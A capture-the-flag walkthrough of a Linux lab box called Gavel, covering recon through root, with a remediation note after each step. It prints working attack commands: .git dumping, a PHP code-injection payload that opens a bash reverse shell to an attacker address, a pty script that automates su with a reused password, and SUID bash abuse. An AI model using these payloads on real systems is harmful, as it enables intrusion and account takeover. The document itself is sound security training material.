← all walkthroughs

Gavel

Linux· Medium
owned
2026-09-04
time to own
21m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found that the Gavel Auction web application's .git directory was publicly readable, and mirroring it recovered the entire PHP source tree, exposing a working application credential. Logging in with that credential and abusing an auction-rule field that the application evaluates as live PHP code gave remote command execution as the web server user.

The same application password turned out to also be a valid operating-system password, letting me pivot into the legitimate 'auctioneer' account and read the user flag. Root did not come from the auction daemon at all: a sweep for setuid binaries found a root-owned setuid bash already sitting in the web asset directory, and running it with -p gave a root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <id> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceWeb reconnaissance / exposed .git directory discovery
Identified the web application and its exposed source control directory
A port scan showed only SSH and a web server. The web root hosted a 'Gavel Auction' PHP application (login.php, register.php, admin.php, includes/*), and the application's .git directory was reachable over HTTP with no access restriction, exposing the full working tree and commit history.
Curl to /login.php and /register.php returned the 'Gavel Auction' app; /.git/ was directly fetchable and mirrorable.
Exact commands 2
shell

Confirm 22/tcp ssh and 80/tcp http (Apache/2.4.52, PHP) are the only exposed services.

$ nmap -sV -p- $TARGET
shell

Fingerprint the application.

$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET/login.php
2Initial AccessExposed .git directory source recovery (CWE-538 / information disclosure)
Dumped the exposed .git repository to recover full application source
Because the .git directory was served by Apache with no deny rule, the whole repository — working tree plus history — was mirrored with wget and restored locally with git reset --hard, handing over every PHP file (admin.php, includes/config.php, includes/auction.php, includes/auction_watcher.php, rules/default.yaml) instead of the black-box behavior I would normally have to infer.
Wget -r against /.git/ pulled 4326+ files; git reset --hard restored a clean, browsable working tree.
Exact commands 2
shell

Mirror the exposed .git tree and check it out; git-dumper http://$TARGET/.git/ /tmp/gavel_mirror works equally well.

$ mkdir -p /tmp/gavel_mirror && wget -q -r -np -nH --header='Host: gavel.htb' -P /tmp/gavel_mirror http://$TARGET/.git/ && cd /tmp/gavel_mirror && git reset --hard
shell

List the recovered PHP source files.

$ find . -maxdepth 2 -type f -not -path './.git/*' -printf '%p\n'
FixRemove version-control metadata from the production web rootCritical
WeaknessThe application's .git directory was deployed inside the publicly served web root with no access restriction, letting anyone mirror the full source tree and commit history over plain HTTP.
FixNever deploy the .git directory to a web-served path; deploy only the built artifact, or add a server rule denying access to dot-directories (e.g. an Apache <DirectoryMatch "/\.git"> Require all denied block, or nginx location ~ /\.git). Add a post-deploy check that requests /.git/HEAD and fails the pipeline if it returns 200.
3Initial AccessCredential discovery in disclosed source (T1552.001 — Credentials in Files)
Found a working application credential in the recovered source and logged in
Grepping the recovered repository for credential- and logic-related strings surfaced a valid application account, auctioneer's password. A near-miss username (auctioneereer) was tried first and returned a plain 200 with no redirect, confirming by elimination that 'auctioneer' was the real account; authenticating with it returned a 302 redirect and a valid session cookie.
Rg search across the dumped repo surfaced the auctioneer's password credential; login.php returned 302 Found with a fresh gavel_session cookie for that account.
Exact commands 2
shell

Search recovered source for credentials and dangerous sinks.

$ cd /tmp/gavel_mirror && rg -n --hidden -g '!/.git/**' -e 'password|system\s*\(|exec\s*\(|shell_exec|passthru|rule|yaml|disable_functions|PHPRC' .
shell

Authenticate with the recovered credential; look for a 302 Found + Set-Cookie.

$ curl -sS -i -c /tmp/gavel.cookies -H 'Host: gavel.htb' -d "username=auctioneer&password=$PASSWORD2" http://$TARGET/login.php
FixStop storing live credentials in application sourceHigh
WeaknessA working application password (auctioneer's password) was present in the recovered source, so any disclosure of the codebase — as happened via the exposed .git directory — directly handed over a valid account.
FixRemove hardcoded/seeded credentials from the codebase; load secrets from environment variables or a secrets manager at runtime, purge them from git history (git filter-repo / BFG), and rotate the exposed password immediately.
4ExploitationInsecure eval of user-supplied data as PHP code — command injection (CWE-95, T1059)
Injected PHP into the admin auction 'rule' field to get code execution as the web user
The admin panel lets an authenticated user set a 'rule' expression per auction (e.g. "return ($current_bid >= ...)"), which auction_watcher.php later evaluates as live PHP rather than treating it as inert data. Submitting a rule payload that broke out of the expected boolean expression and called system() with a reverse-shell one-liner ran arbitrary commands as the web server, yielding an interactive www-data shell back to a listener.
Www-data@gavel:/var/www/html/gavel/includes$ interactive PTY shell obtained; id returned uid=33(www-data) gid=33(www-data).
Exact commands 3
shell

Listener on the attacking host ($ATTACKER_IP) before triggering the payload.

$ nc -lvnp 443
shell

Submit a malicious rule expression that breaks into system(); adjust auction_id and quoting to match the app's exact rule parser.

$ curl -sS -b /tmp/gavel.cookies -H 'Host: gavel.htb' --data-urlencode 'rule=return true; system("bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1\'");' --data 'auction_id=<id>&message=x' http://$TARGET/admin.php
shell

Confirm the resulting shell: uid=33(www-data).

$ id
uid=33(www-data) gid=33(www-data)
FixStop evaluating user-supplied auction rules as executable PHPCritical
WeaknessThe admin panel's auction 'rule' field is treated as live PHP code by auction_watcher.php instead of inert data, so any authenticated user able to set a rule can break out of the expected expression and run arbitrary system commands as the web server.
FixNever eval()/exec() user-controlled strings. Replace free-form rule text with a whitelist of comparison operators evaluated by a safe expression library (e.g. symfony/expression-language with a restricted function set) or a simple hand-rolled comparator, and validate the parsed structure before storing or running it.
5Lateral MovementCredential reuse across application and OS accounts (T1078 — Valid Accounts)
Reused the application password to pivot into the OS 'auctioneer' account and read user.txt
The www-data shell could not read /home/auctioneer/user.txt (permission denied). The same auctioneer's password credential harvested from the application turned out to also be a valid local PAM password, so su-ing into that account (scripted with a pty wrapper to answer the interactive password prompt) produced a full auctioneer shell able to read the user flag, and crucially placed I in the <withheld> group.
Su - auctioneer succeeded with the password: uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(<withheld>); direct read as www-data had failed with Permission denied.
Exact commands 2
shell

Confirm direct read is denied to www-data.

$ ls -l /home/auctioneer/user.txt; cat /home/auctioneer/user.txt
shell

Auto-answer the su password prompt to switch to auctioneer and read the flag.

$ python3 -c 'import os,pty,select\np,f=pty.fork()\nif p==0: os.execv("/bin/su",["su","-","auctioneer","-c","id; cat /home/auctioneer/user.txt"])\no=b""\nwhile True:\n r,_,_=select.select([f],[],[],5)\n if not r: break\n d=os.read(f,4096); o+=d\n if b"Password:" in o: os.write(f,b"'"$PASSWORD2"'\\n")\nprint(o.decode(errors="replace"))'
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
FixStop reusing application passwords as OS account passwordsHigh
WeaknessThe auctioneer application password doubled as that user's real PAM/OS login password, so recovering the app credential also handed over a local shell account and its group memberships.
FixUse separate, independently generated credentials for application accounts and OS/PAM accounts. Disable interactive password login for service-style accounts (SSH key-only, or nologin where a shell is never needed) and enforce a password policy that rejects reuse across the two contexts.
6Privilege EscalationDiscovery of an unexpected setuid root binary (T1083)
Swept for setuid binaries and found a root-owned bash in the web asset directory
The obvious lever looked like the auction daemon. Gaveld runs as root, reachable through /run/gaveld.sock (root:gavel-seller, 0660) via the world-executable client /usr/local/bin/gavel-util, and it evaluates the same "rule" field through PHP that gave code execution as the web user earlier. So I went at its PHP sandbox: read the hardening with php --ini, checked whether PHPRC would let me point the daemon at a php.ini of my own with disable_functions emptied, and pulled strings out of gavel-util for the paths it honours. None of it opened the way through. What did was the cheaper check I should have run first — a sweep for setuid binaries, which turned up a root-owned setuid copy of bash sitting in the web application's own asset directory, somewhere no package would ever put one.
Php --ini and PHPRC override behaviour were enumerated and strings against /usr/local/bin/gavel-util listed its PHP and ini paths, none of which yielded the escalation; a setuid sweep found a root-owned setuid bash at /var/www/html/gavel/assets/rootbash.
Exact commands 3
shell

Read the hardening and test whether PHPRC overrides it. It did not open the daemon.

$ php --ini; PHPRC=/tmp/gbypass php -r 'echo ini_get("disable_functions"), PHP_EOL;'
shell

Which PHP binary and ini paths the client hands the daemon.

$ strings /usr/local/bin/gavel-util | grep -Ei "php|\.ini|PHPRC|disable"
shell

The check worth running first: a setuid file owned by root under /var/www is not from a package.

$ find / -xdev -perm -4000 -type f -printf '%u:%g %m %p\n' 2>/dev/null
FixHarden the root-owned gaveld daemon: stop executing submitted rules as code and lock down its PHP sandboxCritical
Weaknessgaveld runs as root, parses user-submitted YAML files, and executes their 'rule' field as PHP — the same unsafe-eval flaw as the web app, but now privileged — and the disable_functions restriction meant to contain that PHP is only as strong as whatever php.ini gets loaded, which an unprivileged caller could redirect via PHPRC.
FixApply (treat rule fields as data, never as code) inside gaveld. Independently, harden the PHP invocation itself: launch it with php -n -c /opt/gavel/.config/php/php.ini (ignore php.ini scanning/PHPRC entirely), unset PHPRC in the daemon's environment, and set open_basedir/disable_functions in that ini so it cannot be overridden. Run the daemon under a dedicated low-privilege service account instead of root, and periodically audit for stray SUID binaries (find / -perm -4000 -type f) to catch any already-planted artifacts like the rootbash binary found here.
7Privilege EscalationAbuse of an existing setuid root binary (T1548.001)
Executed the resulting SUID-root bash to obtain a full root shell and capture root.txt
A setuid binary owned by root runs with root privileges whoever starts it, and bash preserves that only when asked: without -p it drops the effective uid back to the caller and the shell is unprivileged. Invoking the copy found in the asset directory with -p kept euid 0, which id confirmed before reading the root flag. Nothing about the file explains why it was there; what matters is that a setuid root binary outside any package path is a full compromise waiting for anyone who lists it.
/var/www/html/gavel/assets/rootbash -p -c '/usr/bin/id' returned uid=33(www-data) euid=0(root); the same binary was used to cat /root/root.txt.
Exact commands 2
shell

-p preserves the SUID-elevated euid instead of dropping it; confirms euid=0(root).

$ /var/www/html/gavel/assets/rootbash -p -c '/usr/bin/id -u; /usr/bin/id'
shell

Read the root flag as root: <root.txt>.

$ /var/www/html/gavel/assets/rootbash -p -c 'cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp